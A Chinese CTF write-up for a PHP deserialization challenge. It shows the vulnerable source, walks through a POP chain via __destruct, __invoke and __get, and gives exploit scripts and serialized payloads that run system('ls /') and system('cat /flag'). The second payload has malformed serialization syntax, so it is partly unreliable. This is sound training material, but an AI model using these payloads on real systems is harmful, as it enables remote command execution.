unsign
页面源码
<?php
highlight_file(__FILE__);
class syc
{
public $cuit;
public function __destruct()
{
echo("action!<br>");
$function=$this->cuit;
return $function();
}
}
class lover
{
public $yxx;
public $QW;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}
}
class web
{
public $eva1;
public $interesting;
public function __get($var)
{
echo("get!<br>");
$eva1=$this->eva1;
$eva1($this->interesting);
}
}
if (isset($_POST['url']))
{
unserialize($_POST['url']);
}
?>
pop链思路,
首先找可以利用,最具攻击性的点,见web类中的eva1(this interesting),可以将ev1和intereting分别赋一个值共同组成一个漏洞执行函数。
(ps:这里我经过多次尝试,当构造eval(system ls )函数时,最后回显index.php中无eval函数,所以换函数,最后发现直接构造system(ls)就可以)
接着倒着找,想用web类中的eva1(this interesting)就得用get方法,而get是魔术方法,当传入的var变量不存在时自动调用,所以我们接着往上找,看怎么触发这一条件。
我们看到lover类中的this yxx qw,很明显,这种连续的赋值,很容易可以满足触发get的条件,将lover类中的this yxx赋值为web类,然后web类中无qw变量,所以触发get函数。
接着往上找,this yxx qw是在方法invoke里,如何触发invoke呢,当一个对象(类)被当做方法执行时,自动触发invoke,这个也很好找,很明显syc类中的fuction=this cuit,return function()可以利用,我们将cuit赋值为new lover类对象,然后我们看到fuction=this cuit,return function()是在destruct函数中,destruct魔法函数在unserialize反序列化时会自动触发,至此形成闭环
构造exp
<?php
class syc
{
public $cuit;
}
class lover
{
public $yxx;
public $qw;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}
}
class web
{
public $eva1='system';
public $interesting="(ls /);";
}
$a = new web();
$b = new lover();
$b ->yxx =$a;
$c =new syc();
$c ->cuit =$b;
echo serialize($c);
?>
构造payload
url=O:3:"syc":1:{s:4:"cuit";O:5:"lover":2:{s:3:"yxx";O:3:"web":2:{s:4:"eva1";s:6:"system";s:11:"interesting";s:7:"(ls /);";}s:2:"qw";N;}}
页面回显
继续构造exp
<?php
class syc
{
public $cuit;
}
class lover
{
public $yxx;
public $qw;
public function __invoke()
{
echo("invoke!<br>");
return $this->yxx->QW;
}
}
class web
{
public $eva1='system';
public $interesting="(cat /flag);";
}
$a = new web();
$b = new lover();
$b ->yxx =$a;
$c =new syc();
$c ->cuit =$b;
echo serialize($c);
?>
得到
O:3:"syc":1{s:4:"cuit";O:5:"lover":2{s:3:"yxx";O:3:"web":2{s:4:"eva1";s:6:"system";s:11:"interesting";s:12:"(cat /flag);";}s:2:"qw";N;}}
上传拿到flag